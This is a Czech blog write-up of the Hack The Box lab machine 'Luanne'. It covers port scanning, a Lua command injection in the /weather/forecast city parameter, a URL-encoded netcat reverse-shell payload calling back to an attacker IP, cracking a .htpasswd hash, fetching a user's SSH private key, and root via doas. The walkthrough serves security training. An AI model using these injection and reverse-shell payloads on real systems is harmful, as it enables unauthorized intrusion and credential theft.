tom@home.htb:~$

Blog o HTB

13 December 2020

Luanne

Úvod a kontext

Luanne stojí na dvou odlišných chybách, které se hezky doplňují. První je command injection v Lua backendu za /weather, druhá je příliš volná lokální správa přes doas. Mezi tím je ještě důležitý mezikrok: z webového shellu je potřeba vytáhnout přihlašovací údaje k interní službě a získat SSH klíč uživatele r.michaels.

Právě to dělá z Luanne dobrý vzdělávací stroj. Samotné RCE na webu ještě neznamená pohodlný foothold. Skutečný posun přinese až práce s lokálními soubory a localhost-only službami, které nejsou vidět zvenku.

Počáteční průzkum

NetBSD, nginx a skrytá /weather

nmap ukáže poměrně malou útočnou plochu: SSH, web na 80/tcp a ještě další HTTP službu na 9001/tcp. robots.txt navíc schovává /weather, takže dává smysl soustředit se na ni dřív než na hrubou enumeraci celého webu.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp   open  http    nginx 1.19.0
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)

Enumerace webu rychle ukáže jediný opravdu zajímavý endpoint.

gobuster dir -u http://10.10.10.218/weather -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x php,txt,log,html
/forecast             (Status: 200) [Size: 90]

http://10.10.10.218/weather/forecast?city=list

Analýza zjištění

Lua injection v parametru city

Endpoint /weather/forecast vrací seznam měst pro city=list, ale neznámé hodnoty končí chybou. Jakmile se do parametru vloží ukončení řetězce a os.execute, server příkaz skutečně spustí. Pozdější analýza backupu ukáže proč: backend v weather.lua skládá chybovou odpověď jako Lua kód a volá nad ní load().

curl "http://10.10.10.218/weather/forecast?city=list')%20os.execute('id')--"
=> uid=80(www) gid=80(www) groups=80(www)

První webový shell je nejlepší hned přepnout na reverzní shell, aby šla pohodlně dělat lokální enumerace.

netcat -lvp 4000
curl "http://luanne.htb/weather/forecast?city=list%27)%20os.execute(%27mkfifo+%2ftmp%2fnllioo%3b+nc+10.10.14.8+4000+0%3c%2ftmp%2fnllioo+%7c+%2fbin%2fsh+%3e%2ftmp%2fnllioo+2%3e%261%3b+rm+%2ftmp%2fnllioo%27)--"

.htpasswd a interní HTTP server

Na hostu je hned vidět domovský adresář r.michaels a lokální soubory webu. .htpasswd obsahuje hash pro webapi_user, který po cracknutí dává heslo iamthebest. Tím se otevře localhost-only HTTP služba na 127.0.0.1:3001, ze které jde stáhnout soukromý klíč r.michaels.

cat .htpasswd
=> webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt
=> iamthebest       (webapi_user)

curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
=> -----BEGIN OPENSSH PRIVATE KEY-----

Získání přístupu

SSH jako r.michaels

Jakmile je k dispozici privátní klíč, dává smysl opustit křehký webový shell a přepnout se na SSH. Tím se foothold změní na plnohodnotný uživatelský přístup.

ssh -i id_rsa r.michaels@10.10.10.218
cat user.txt
__CENSORED__

Eskalace oprávnění

doas bez další exploitační práce

Po přihlášení přes SSH už není potřeba hledat další CVE. Lokální enumerace ukáže, že účet r.michaels smí přes doas spustit /bin/sh jako root. To je na NetBSD stejný problém, jako kdyby byl uživatel bez hesla v sudoers pro interaktivní shell.

doas -u root /bin/sh
cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: ssh - php - exploit - enumeration - privesc - hackthebox